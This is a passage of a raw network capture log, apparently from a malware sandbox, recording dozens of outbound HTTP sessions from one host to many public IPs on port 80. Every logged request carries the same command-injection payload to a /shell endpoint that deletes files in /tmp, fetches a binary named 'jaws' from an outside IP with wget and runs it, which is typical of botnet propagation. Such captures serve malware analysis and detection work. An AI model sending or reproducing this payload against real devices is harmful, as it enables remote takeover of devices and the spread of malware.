Jun 1, 2024 18:15:53.240919113 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.23	53558	81.48.62.152	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.240978003 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.23	46490	93.152.148.219	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.241010904 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.23	45540	144.192.66.230	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.241044044 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.23	55216	51.180.72.227	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.241077900 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.23	52008	198.24.255.213	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.241107941 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.23	42950	160.171.210.51	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.241159916 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.23	42926	173.201.55.115	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.241185904 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.23	32800	118.131.29.171	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.241218090 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.23	38354	8.194.32.207	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.241256952 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.23	42066	198.139.79.120	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.241303921 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.23	48762	191.185.132.251	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.241435051 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.23	58476	223.81.79.132	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.241470098 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.23	54708	173.142.129.181	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.241503954 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.23	58654	89.243.242.221	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.241528988 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.23	45266	50.235.115.106	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.241575956 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.23	52886	80.252.121.45	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.241606951 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.23	40554	60.55.180.73	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.241651058 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.23	40300	81.78.87.67	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.241698027 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.23	34492	123.28.179.254	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.241729021 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.23	50824	87.130.72.182	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.241765022 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.23	57298	24.4.140.180	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.241794109 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.23	57174	37.47.52.166	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.241837025 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.23	43646	121.59.20.215	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.246793985 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.23	47804	161.166.48.249	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.246833086 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.23	60716	18.69.98.66	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.246870041 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.23	40782	170.90.134.85	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.247003078 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.23	56362	44.214.37.113	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.247035980 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.23	45146	98.220.77.102	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.247073889 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.23	54366	48.52.58.128	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.247100115 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.23	44808	188.248.176.49	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.247143984 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.23	43374	112.217.71.237	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.247237921 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.23	47738	31.117.7.12	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.247267962 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.23	36442	77.156.147.3	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.247342110 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.23	44764	5.69.223.73	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.247394085 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.23	38426	25.119.127.189	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:53.247443914 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.23	58314	65.91.194.133	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.209239960 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.23	44574	168.235.31.17	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.237601042 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.23	37034	194.244.242.70	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.237678051 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.23	54410	147.89.17.146	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.237719059 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.23	60472	49.81.200.207	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.237773895 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.23	36480	137.234.162.150	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.237829924 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.23	58546	57.54.162.72	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.237922907 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.23	41606	24.179.173.118	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.237960100 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.23	47054	213.99.204.125	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.237993002 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.23	55740	50.27.20.241	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.238029957 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.23	55982	124.0.139.31	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.238074064 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.23	60810	99.170.206.200	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.238117933 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.23	49524	133.130.243.96	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.238224030 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.23	46164	81.66.87.121	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.238269091 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.23	46754	52.191.152.237	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.238343954 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.23	36208	147.135.44.218	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.238439083 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.23	58026	59.172.71.185	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.238523006 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.23	43196	60.224.142.1	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.238559961 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.23	32936	189.82.218.132	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.238595963 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.23	53032	53.223.178.64	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.238640070 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.23	59368	45.9.82.52	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.238678932 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.23	39940	69.42.202.171	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.238712072 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.23	35140	24.72.9.82	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.238761902 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.23	56774	145.92.78.73	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.238811016 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.23	40456	132.66.64.38	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.238863945 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.23	33194	222.37.4.5	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.238913059 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.23	37350	66.47.79.133	80

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:54.238960981 CEST	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.64.221/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.23	33318	67.147.165.34	80

Timestamp	Bytes transferred	Direction	Data
